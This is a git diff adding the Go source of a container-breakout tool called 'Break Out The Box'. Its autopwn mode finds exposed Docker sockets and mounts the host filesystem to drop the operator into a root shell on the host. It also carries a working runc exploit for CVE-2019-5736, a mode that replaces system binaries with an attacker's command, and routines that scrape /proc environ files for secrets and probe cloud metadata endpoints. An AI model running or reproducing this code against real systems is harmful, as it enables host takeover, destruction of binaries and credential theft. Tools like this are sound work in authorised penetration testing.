diff --git a/main.go b/main.go new file mode 100644 index 0000000..52ac930 --- /dev/null +++ b/main.go @@ -0,0 +1,322 @@ +package main + +import ( + "archive/tar" + "compress/gzip" + "crypto/tls" + "flag" + "fmt" + "io" + "log" + "net/http" + "os" + "os/exec" + "os/signal" + "path/filepath" + "syscall" + "time" + + "github.com/kr/pty" + "github.com/tv42/httpunix" + "golang.org/x/crypto/ssh/terminal" +) + +var verbosePtr, huntSockPtr, huntHttpPtr, huntDockerPtr, interfacesPtr, toJsonPtr, autopwnPtr, cicdPtr, reconPtr, metaDataPtr, findDockerdPtr *bool + +var validSocks []string + +var exitCode int +var pathPtr, aggressivePtr, hijackPtr, wordlistPtr, endpointList *string + +type IpAddress struct { + Address string +} + +type Interface struct { + Name string + Addresses []IpAddress +} + +func main() { + fmt.Println("[+] Break Out The Box") + exitCode = 0 + log.SetFlags(log.LstdFlags | log.Lmicroseconds) + + pathPtr = flag.String("path", "/", "Path to Start Scanning for UNIX Domain Sockets") + verbosePtr = flag.Bool("verbose", false, "Verbose output") + huntSockPtr = flag.Bool("socket", false, "Hunt for Available UNIX Domain Sockets") + huntHttpPtr = flag.Bool("http", false, "Hunt for Available UNIX Domain Sockets with HTTP") + interfacesPtr = flag.Bool("interfaces", false, "Display available network interfaces") + + autopwnPtr = flag.Bool("autopwn", false, "Attempt to autopwn exposed sockets") + cicdPtr = flag.Bool("cicd", false, "Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0") + reconPtr = flag.Bool("recon", false, "Perform Recon of the Container ENV") + metaDataPtr = flag.Bool("metadata", false, "Attempt to find metadata services") + aggressivePtr = flag.String("aggr", "nil", "Attempt to exploit RuncPWN") + hijackPtr = flag.String("hijack", "nil", "Attempt to hijack binaries on host") + wordlistPtr = flag.String("wordlist", "nil", "Provide a wordlist") + endpointList = flag.String("endpointlist", "nil", "Provide a wordlist") + findDockerdPtr = flag.Bool("findDockerD", false, "Attempt to find Dockerd") + + flag.Parse() + + if *findDockerdPtr { + findDockerD() + } + + if *interfacesPtr { + huntNetworkInterfaces() + } + + if *hijackPtr != "nil" { + hijackBinaries(*hijackPtr) + } + + if *aggressivePtr != "nil" { + runcPwn(*aggressivePtr) + } + + if *reconPtr { + fmt.Println("[+] Performing Container Recon") + checkProcEnviron() + checkEnvVars() + } + + if *metaDataPtr { + checkMetadataServices() + } + + if *autopwnPtr { + autopwn() + } + + if *huntSockPtr { + fmt.Println("[+] Hunting Down UNIX Domain Sockets from:", *pathPtr) + sockets, _ := getValidSockets(*pathPtr) + for _, element := range sockets { + fmt.Println("[!] Valid Socket: " + element) + } + } + fmt.Println("[+] Finished") + os.Exit(exitCode) +} + +func downloadFile(filepath string, url string) error { + transport := &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + } + client := &http.Client{Transport: transport} + resp, err := client.Get(url) + if err != nil { + return err + } + + defer resp.Body.Close() + out, err := os.Create(filepath) + if err != nil { + return err + } + defer out.Close() + _, err = io.Copy(out, resp.Body) + return err +} + +func dropToTTY(dockerSockPath string) error { + // this code has been copy+pasted directly from https://github.com/kr/pty, it's that awesome + cmd := "./docker/docker -H unix://" + dockerSockPath + " run -t -i -v /:/host alpine:latest /bin/sh" + fmt.Println(cmd) + c := exec.Command("sh", "-c", cmd) + + // Start the command with a pty. + ptmx, err := pty.Start(c) + if err != nil { + return err + } + + // Make sure to close the pty at the end. + defer func() { _ = ptmx.Close() }() // Best effort. + + // Handle pty size. + ch := make(chan os.Signal, 1) + signal.Notify(ch, syscall.SIGWINCH) + go func() { + for range ch { + if err := pty.InheritSize(os.Stdin, ptmx); err != nil { + log.Printf("error resizing pty: %s", err) + } + } + }() + ch <- syscall.SIGWINCH // Initial resize. + go func() { + ptmx.Write([]byte("chroot /host && clear\n")) + }() + + // Set stdin in raw mode. + oldState, err := terminal.MakeRaw(int(os.Stdin.Fd())) + if err != nil { + panic(err) + } + defer func() { _ = terminal.Restore(int(os.Stdin.Fd()), oldState) }() // Best effort. + + go func() { + ptmx.Write([]byte("echo 'You are now on the underlying host'\n")) + }() + // Copy stdin to the pty and the pty to stdout. + go func() { _, _ = io.Copy(ptmx, os.Stdin) }() + _, _ = io.Copy(os.Stdout, ptmx) + return nil +} + +func untar(dst string, r io.Reader) error { + // this code has been copy pasted from this great gist https://gist.github.com/sdomino/635a5ed4f32c93aad131#file-untargz-go + gzr, err := gzip.NewReader(r) + if err != nil { + return err + } + defer gzr.Close() + tr := tar.NewReader(gzr) + for { + header, err := tr.Next() + switch { + // if no more files are found return + case err == io.EOF: + return nil + // return any other error + case err != nil: + return err + // if the header is nil, just skip it (not sure how this happens) + case header == nil: + continue + } + // the target location where the dir/file should be created + target := filepath.Join(dst, header.Name) + // check the file type + switch header.Typeflag { + + // if its a dir and it doesn't exist create it + case tar.TypeDir: + if _, err := os.Stat(target); err != nil { + if err := os.MkdirAll(target, 0755); err != nil { + return err + } + } + // if it's a file create it + case tar.TypeReg: + f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode)) + if err != nil { + return err + } + // copy over contents + if _, err := io.Copy(f, tr); err != nil { + return err + } + // manually close here after each file operation; defering would cause each file close + // to wait until all operations have completed. + f.Close() + } + } +} + +func getDockerEnabledSockets(socks []string) []string { + fmt.Println("[+] Hunting Docker Socks") + var dockerSocks []string + for _, element := range socks { + resp, err := checkSock(element) + if err == nil { + if resp.StatusCode >= 200 && resp.StatusCode <= 299 { + dockerSocks = append(dockerSocks, element) + if *verbosePtr { + fmt.Println("[+] Valid Docker Socket: " + element) + } + } else { + if *verbosePtr { + fmt.Println("[+] Invalid Docker Socket: " + element) + } + } + defer resp.Body.Close() + } else { + if *verbosePtr { + fmt.Println("[+] Invalid Docker Socket: " + element) + } + } + } + return dockerSocks +} + +func getHTTPEnabledSockets(socks []string) []string { + var httpSocks []string + for _, element := range socks { + _, err := checkSock(element) + if err == nil { + httpSocks = append(httpSocks, element) + if *verbosePtr { + fmt.Println("[+] Valid HTTP Socket: " + element) + } + } else { + if *verbosePtr { + fmt.Println("[+] Invalid HTTP Socket: " + element) + } + } + } + return httpSocks +} + +func walkpath(path string, info os.FileInfo, err error) error { + if err != nil { + if *verbosePtr { + fmt.Println("[ERROR]: ", err) + } + } else { + switch mode := info.Mode(); { + case mode&os.ModeSocket != 0: + validSocks = append(validSocks, path) + default: + if *verbosePtr { + fmt.Println("[*] Invalid Socket: " + path) + } + } + } + return nil +} + +func getValidSockets(startPath string) ([]string, error) { + validSocks = nil + err := filepath.Walk(startPath, walkpath) + if err != nil { + if *verbosePtr { + fmt.Println("[ERROR]: ", err) + } + return nil, err + } + return validSocks, nil +} + +func checkSock(path string) (*http.Response, error) { + if *verbosePtr { + fmt.Println("[-] Checking Sock for HTTP: " + path) + } + + u := &httpunix.Transport{ + DialTimeout: 100 * time.Millisecond, + RequestTimeout: 1 * time.Second, + ResponseHeaderTimeout: 1 * time.Second, + } + u.RegisterLocation("dockerd", path) + var client = http.Client{ + Transport: u, + } + resp, err := client.Get("http+unix://dockerd/info") + + if resp == nil { + return nil, err + } + return resp, nil +} + +func debug(data []byte, err error) { + if err == nil { + fmt.Printf("%s\n\n", data) + } else { + log.Fatalf("%s\n\n", err) + } +} diff --git a/utils.go b/utils.go new file mode 100644 index 0000000..6dc7cd3 --- /dev/null +++ b/utils.go @@ -0,0 +1,573 @@ +package main + +import ( + "bufio" + "fmt" + "io" + "io/ioutil" + "log" + "net" + "net/http" + "os" + "os/exec" + "strconv" + "strings" + "time" +) + +func execDocker(dockerSockPath string) error { + cmd := "./docker/docker -H unix://" + dockerSockPath + " run docker id" + out, err := exec.Command("sh", "-c", cmd).Output() + if err != nil { + return err + } + if *verbosePtr { + fmt.Printf("[*] Command Output: %s\n", string(out[:])) + } + exitCode = 1 + return nil +} + +func autopwn() { + fmt.Println("[+] Attempting to autopwn") + sockets, _ := getValidSockets(*pathPtr) + httpSockets := getHTTPEnabledSockets(sockets) + dockerSocks := getDockerEnabledSockets(httpSockets) + for _, element := range dockerSocks { + err := autopwnDocker(element) + if err != nil { + fmt.Println("[ERROR] ", err) + } + } +} + +func autopwnDocker(dockerSock string) error { + fmt.Println("[+] Attempting to autopwn: ", dockerSock) + + _, err := os.Stat("docker/docker") + fileUrl := "https://download.docker.com/linux/static/stable/x86_64/docker-18.09.2.tgz" + if err != nil { + if *verbosePtr { + fmt.Println("[*] Getting Docker client...") + } + + if err := downloadFile("docker-18.09.2.tgz", fileUrl); err != nil { + return err + } + } + + file, err := os.Open("docker-18.09.2.tgz") + if err != nil { + return err + } + err = untar(".", file) + if err != nil { + return err + } + if *verbosePtr { + fmt.Println("[*] Successfully got Docker client...") + } + fmt.Println("[+] Attempting to escape to host...") + if *cicdPtr { + if *verbosePtr { + fmt.Println("[+] Attempting in CICD Mode") + } + err := execDocker(dockerSock) + if err != nil { + fmt.Println("[*] Failed to escape container") + return err + } + fmt.Println("[!] Successfully escaped container") + } else { + fmt.Println("[+] Attempting in TTY Mode") + err := dropToTTY(dockerSock) + if err != nil { + return err + } + fmt.Println("[*] Successfully exited TTY") + } + return nil +} + +func huntDomainSockets() { + fmt.Println("[+] Hunting Down UNIX Domain Sockets from:", *pathPtr) + sockets, _ := getValidSockets(*pathPtr) + for _, element := range sockets { + fmt.Println("[!] Found Valid UNIX Domain Socket: ", element) + } +} + +func checkEnvVars() { + fmt.Println("[+] Checking ENV Variables for secrets") + var terms []string + var err error + if *wordlistPtr != "nil" { + terms, err = getLinesFromFile(*wordlistPtr) + if err != nil { + panic(err) + } + } else { + terms = append(terms, "secret", "password") + } + + for _, envVar := range os.Environ() { + if checkForJuicyDeets(envVar, terms) { + fmt.Println("[!] Sensitive Keyword found in ENV: ", envVar) + exitCode = 2 + } + } + +} + +func checkProcEnviron() { + fmt.Println("[+] Searching /proc/* for data") + files, err := ioutil.ReadDir("/proc") + if err != nil { + fmt.Println("[ERROR], Could not access ProcFS") + return + } + + var terms []string + if *wordlistPtr != "nil" { + terms, err = getLinesFromFile(*wordlistPtr) + if err != nil { + panic(err) + } + } else { + terms = append(terms, "secret", "password") + } + + for _, file := range files { + environFile := "/proc/" + file.Name() + "/environ" + _, err := os.Stat(environFile) + if err != nil { + if *verbosePtr { + fmt.Println("[ERROR] file does not exist-> ", environFile) + } + } else { + cmd := "cat " + environFile + output, err := execShellCmd(cmd) + if err != nil { + if *verbosePtr { + fmt.Println("[ERROR] Could not query environ for-> ", environFile) + } + } + if checkForJuicyDeets(output, terms) { + fmt.Printf("[!] Sensitive keyword found in: %s -> '%s'\n", environFile, output) + exitCode = 2 + } + } + } +} + +func checkForJuicyDeets(data string, terms []string) bool { + if *wordlistPtr != "nil" { + for _, term := range terms { + if strings.Contains(strings.ToLower(data), strings.ToLower(term)) { + return true + } + } + + } else { + if strings.Contains(strings.ToLower(data), "password") || strings.Contains(strings.ToLower(data), "secret") { + return true + } + return false + } + return false +} + +func execShellCmd2(command string, args ...string) error { + cmd := exec.Command(command, args...) + if *verbosePtr { + fmt.Println("[*] Running command and waiting to finish") + } + err := cmd.Run() + if err != nil { + return err + } + return nil +} + +func execShellCmd(cmd string) (string, error) { + out, err := exec.Command("sh", "-c", cmd).Output() + if err != nil { + return "", err + } + return string(out[:]), nil +} + +func performHttpGetRequest(url string) (int, error) { + timeout := time.Duration(3 * time.Second) + client := http.Client{ + Timeout: timeout, + } + resp, err := client.Get(url) + if err != nil { + return 0, err + } + + defer resp.Body.Close() + + return resp.StatusCode, nil +} + +func checkMetadataServices() { + + if *endpointList != "nil" { + endpoints, err := getLinesFromFile(*endpointList) + if err != nil { + log.Fatal(err) + } + + for _, endpoint := range endpoints { + if queryEndpoint(endpoint) { + exitCode = 1 + } + } + + } else { + if queryEndpoint("http://169.254.169.254/latest/meta-data/") { + exitCode = 1 + } + if queryEndpoint("http://kubernetes.default.svc/") { + exitCode = 1 + } + } +} + +func runcPwn(command string) { + //This code has been pretty much copy+pasted from the great work done by Nick Frichetten + //https://github.com/Frichetten/CVE-2019-5736-PoC + fmt.Println("[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...") + payload := fmt.Sprintf("#!/bin/bash \n %s", command) + fmt.Println("[+] Attempting to exploit CVE-2019-5736 with command: ", command) + fd, err := os.Create("/bin/sh") + if err != nil { + fmt.Println(err) + return + } + fmt.Fprintln(fd, "#!/proc/self/exe") + err = fd.Close() + if err != nil { + fmt.Println(err) + return + } + + fmt.Println("[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped") + + var found int + for found == 0 { + pids, err := ioutil.ReadDir("/proc") + if err != nil { + fmt.Println(err) + return + } + for _, f := range pids { + fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") + fstring := string(fbytes) + if strings.Contains(fstring, "runc") { + found, err = strconv.Atoi(f.Name()) + if err != nil { + fmt.Println(err) + return + } + } + } + } + var handleFd = -1 + for handleFd == -1 { + handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) + if int(handle.Fd()) > 0 { + handleFd = int(handle.Fd()) + } + } + for { + writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) + if int(writeHandle.Fd()) > 0 { + writeHandle.Write([]byte(payload)) + return + } + } +} + +func getLinesFromFile(path string) ([]string, error) { + fmt.Println("[*] Loading entries from:", path) + var lines []string + inFile, err := os.Open(path) + if err != nil { + return nil, err + } + defer inFile.Close() + scanner := bufio.NewScanner(inFile) + scanner.Split(bufio.ScanLines) + for scanner.Scan() { + lines = append(lines, scanner.Text()) + } + return lines, nil +} + +func queryEndpoint(url string) bool { + fmt.Printf("[*] Attempting to query metadata endpoint: '%s'\n", url) + respCode, err := performHttpGetRequest(url) + if err != nil { + if *verbosePtr { + fmt.Println("[ERROR]", err) + } + } + if respCode > 0 { + fmt.Printf("[!] Reponse from '%s' -> %d\n", url, respCode) + return true + } + return false +} + +func processCmdLine() { + var found int + for found == 0 { + pids, err := ioutil.ReadDir("/proc") + if err != nil { + fmt.Println(err) + return + } + for _, f := range pids { + fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") + fstring := string(fbytes) + if strings.Contains(fstring, "runc") { + fmt.Println("[+] Found the PID:", f.Name()) + found, err = strconv.Atoi(f.Name()) + if err != nil { + fmt.Println(err) + return + } + } + } + } +} + +func hijackBinaries(hijackCommand string) { + + fmt.Println("[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...") + fmt.Println("[+] Attempting to hijack binaries") + fmt.Println("[*] Command to be used: ", hijackCommand) + command := fmt.Sprintf("#!/bin/sh \n %s \n", hijackCommand) + + hijackDirectory("/bin", command) + hijackDirectory("/sbin", command) + hijackDirectory("/usr/bin", command) +} + +func copyFile(src, dst string) error { + if *verbosePtr { + fmt.Printf("[!] Copying %s -> %s\n", src, dst) + } + + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + + out, err := os.Create(dst) + if err != nil { + return err + } + defer out.Close() + + _, err = io.Copy(out, in) + if err != nil { + return err + } + return out.Close() +} + +func createFile(filename, data string) error { + if *verbosePtr { + fmt.Println("[*] Creating file: ", filename) + } + f, err := os.Create(filename) + if err != nil { + fmt.Println(err) + return err + } + l, err := f.WriteString(data) + if err != nil { + fmt.Println(err) + f.Close() + return err + } + if *verbosePtr { + fmt.Println(l, "[*] Bytes written successfully") + } + + err = f.Close() + if err != nil { + fmt.Println(err) + return err + } + return nil +} + +func hijackDirectory(dir, command string) { + fmt.Println("[+] Currently hijacking: ", dir) + files, err := ioutil.ReadDir(dir) + if err != nil { + log.Fatal(err) + } + if *verbosePtr { + fmt.Printf("[*] Number of binaries identified: %d\n", len(files)) + } + + for _, file := range files { + if strings.ToLower(file.Name()) == "busybox" || strings.ToLower(file.Name()) == "sh" || strings.ToLower(file.Name()) == "dash" || + strings.ToLower(file.Name()) == "ls" || strings.ToLower(file.Name()) == "echo" || strings.ToLower(file.Name()) == "chmod" || + strings.ToLower(file.Name()) == "bash" || strings.ToLower(file.Name()) == "cp" || strings.ToLower(file.Name()) == "compgen" || + strings.ToLower(file.Name()) == "rm" || strings.ToLower(file.Name()) == "mv" || strings.ToLower(file.Name()) == "which" || + strings.ToLower(file.Name()) == "curl" || strings.ToLower(file.Name()) == "chown" { + if *verbosePtr { + fmt.Println("[*] Skipping: ", file.Name()) + } + } else { + if *verbosePtr { + fmt.Println("[*] Hijacking -> ", file.Name()) + } + + err := createFile(file.Name(), command) + if err != nil { + if *verbosePtr { + fmt.Println("[*] Error creating tmp file->", err) + } + + } + + err = execShellCmd2("rm", fmt.Sprintf("%s/%s", dir, file.Name())) + if err != nil { + if *verbosePtr { + fmt.Println("[*] Error deleting binary file->", err) + } + + } + + err = copyFile(file.Name(), fmt.Sprintf("%s/%s", dir, file.Name())) + if err != nil { + if *verbosePtr { + fmt.Println("[*] Error copying file->", err) + } + + } + + err = execShellCmd2("chmod", "+x", fmt.Sprintf("%s/%s", dir, file.Name())) + if err != nil { + if *verbosePtr { + fmt.Println("[*] Error chmoding file->", err) + } + + } + err = execShellCmd2("rm", file.Name()) + if err != nil { + if *verbosePtr { + fmt.Println("[*] Error cleaning up->", err) + } + } + } + } +} + +func huntNetworkInterfaces() { + fmt.Println("[+] Attempting to get local network interfaces") + + err := processInterfaces() + if err != nil { + fmt.Println("[+] Error getting local interfaces, ", err) + } +} + +func getLocalInterfaces() ([]Interface, error) { + + interfaces, err := net.Interfaces() + + var interfaceResults []Interface + + if err != nil { + fmt.Print(err) + return nil, err + } + + for _, i := range interfaces { + byNameInterface, err := net.InterfaceByName(i.Name) + var result Interface + result.Name = i.Name + if err != nil { + fmt.Println(err) + return nil, err + } + addresses, err := byNameInterface.Addrs() + var addressResults []IpAddress + for _, v := range addresses { + var address IpAddress + address.Address = v.String() + addressResults = append(addressResults, address) + } + result.Addresses = addressResults + interfaceResults = append(interfaceResults, result) + } + return interfaceResults, nil +} + +func processInterfaces() error { + var interfaceResults []Interface + interfaces, err := net.Interfaces() + if err != nil { + return err + } + for _, i := range interfaces { + byNameInterface, err := net.InterfaceByName(i.Name) + if err != nil { + return err + } + var result Interface + result.Name = i.Name + + fmt.Println("[*] Got Interface: " + i.Name) + if err != nil { + return err + } + addresses, err := byNameInterface.Addrs() + if err != nil { + return err + } + var addressResults []IpAddress + for _, v := range addresses { + fmt.Println("\t[*] Got address: " + v.String()) + var address IpAddress + address.Address = v.String() + addressResults = append(addressResults, address) + } + result.Addresses = addressResults + interfaceResults = append(interfaceResults, result) + } + return nil +} + +func findDockerD() { + fmt.Println("[+] Looking for Dockerd") + dockerdVal, checkResult := checkForDockerEnvSock() + if checkResult { + fmt.Println("[!] Dockerd DOCKER_HOST found:", dockerdVal) + } + sockets, _ := getValidSockets(*pathPtr) + httpSockets := getHTTPEnabledSockets(sockets) + dockerSocks := getDockerEnabledSockets(httpSockets) + for _, aSock := range dockerSocks { + fmt.Println("[!] Valid Docker Socket:", aSock) + } +} + +func checkForDockerEnvSock() (string, bool) { + for _, envVar := range os.Environ() { + if strings.Contains(strings.ToUpper(envVar), "DOCKER_HOST") { + return envVar[strings.Index(envVar, "=")+1:], true + } + } + return "", false +}